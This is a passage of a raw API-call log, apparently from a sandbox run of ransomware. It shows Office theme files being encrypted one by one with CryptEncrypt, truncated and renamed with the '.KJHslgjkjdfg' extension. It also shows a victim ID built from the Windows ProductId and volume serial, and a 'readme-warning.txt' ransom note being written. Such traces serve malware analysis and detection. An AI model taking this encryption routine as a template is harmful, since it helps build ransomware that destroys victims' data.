lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.185] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.185] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.185] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.185] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.185] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.185] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4c1d, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4c1d, lpOverlapped=0x0) returned 1 [0147.186] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4c20) returned 1 [0147.186] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.186] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4c20, lpOverlapped=0x0) returned 1 [0147.187] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.187] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.187] SetEndOfFile (hFile=0x118) returned 1 [0147.189] GetProcessHeap () returned 0x2a0000 [0147.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.189] GetProcessHeap () returned 0x2a0000 [0147.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.190] CloseHandle (hObject=0x118) returned 1 [0147.193] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.193] GetProcessHeap () returned 0x2a0000 [0147.193] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.193] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.193] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.193] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.193] GetProcessHeap () returned 0x2a0000 [0147.193] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.193] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.193] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.193] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.193] GetProcessHeap () returned 0x2a0000 [0147.193] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.194] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.194] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.194] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.194] GetProcessHeap () returned 0x2a0000 [0147.194] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.194] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.194] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.194] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.194] GetProcessHeap () returned 0x2a0000 [0147.194] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.194] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.194] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.194] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.194] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.194] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.194] RegCloseKey (hKey=0x118) returned 0x0 [0147.194] GetProcessHeap () returned 0x2a0000 [0147.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.194] GetProcessHeap () returned 0x2a0000 [0147.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.194] GetProcessHeap () returned 0x2a0000 [0147.194] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.195] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.195] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.195] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.195] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.195] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.195] GetProcessHeap () returned 0x2a0000 [0147.195] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.195] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.195] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.195] GetProcessHeap () returned 0x2a0000 [0147.195] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.195] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\readme-warning.txt") returned 79 [0147.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.196] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.197] CloseHandle (hObject=0x118) returned 1 [0147.197] GetProcessHeap () returned 0x2a0000 [0147.197] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.197] GetProcessHeap () returned 0x2a0000 [0147.197] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.197] GetProcessHeap () returned 0x2a0000 [0147.197] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.197] GetProcessHeap () returned 0x2a0000 [0147.198] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.198] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.198] GetProcessHeap () returned 0x2a0000 [0147.198] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.198] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0147.198] GetProcessHeap () returned 0x2a0000 [0147.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0147.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.213] GetProcessHeap () returned 0x2a0000 [0147.213] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.214] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.214] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0147.214] GetProcessHeap () returned 0x2a0000 [0147.214] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0147.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.221] GetProcessHeap () returned 0x2a0000 [0147.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.221] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.221] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.221] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0147.223] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.223] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.224] GetProcessHeap () returned 0x2a0000 [0147.224] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.224] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.224] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.224] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.224] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.224] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.224] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.224] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.224] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.224] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.224] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.224] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.225] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xba32, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xba32, lpOverlapped=0x0) returned 1 [0147.226] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xba40, dwBufLen=0xba40 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xba40) returned 1 [0147.226] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.226] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xba40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xba40, lpOverlapped=0x0) returned 1 [0147.227] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.227] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xbb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.227] SetEndOfFile (hFile=0x118) returned 1 [0147.230] GetProcessHeap () returned 0x2a0000 [0147.230] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.230] GetProcessHeap () returned 0x2a0000 [0147.230] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.kjhslgjkjdfg")) returned 1 [0147.231] CloseHandle (hObject=0x118) returned 1 [0147.231] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0147.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.231] GetProcessHeap () returned 0x2a0000 [0147.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.231] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.232] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.232] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0147.233] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.233] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.233] GetProcessHeap () returned 0x2a0000 [0147.233] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.233] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.233] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.233] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.234] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.234] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.234] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.234] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.234] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.234] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.234] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.234] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.234] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f3, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1f3, lpOverlapped=0x0) returned 1 [0147.234] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200, dwBufLen=0x200 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200) returned 1 [0147.234] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.234] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x200, lpOverlapped=0x0) returned 1 [0147.234] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.234] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.235] SetEndOfFile (hFile=0x118) returned 1 [0147.237] GetProcessHeap () returned 0x2a0000 [0147.237] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.237] GetProcessHeap () returned 0x2a0000 [0147.237] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.kjhslgjkjdfg")) returned 1 [0147.259] CloseHandle (hObject=0x118) returned 1 [0147.260] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 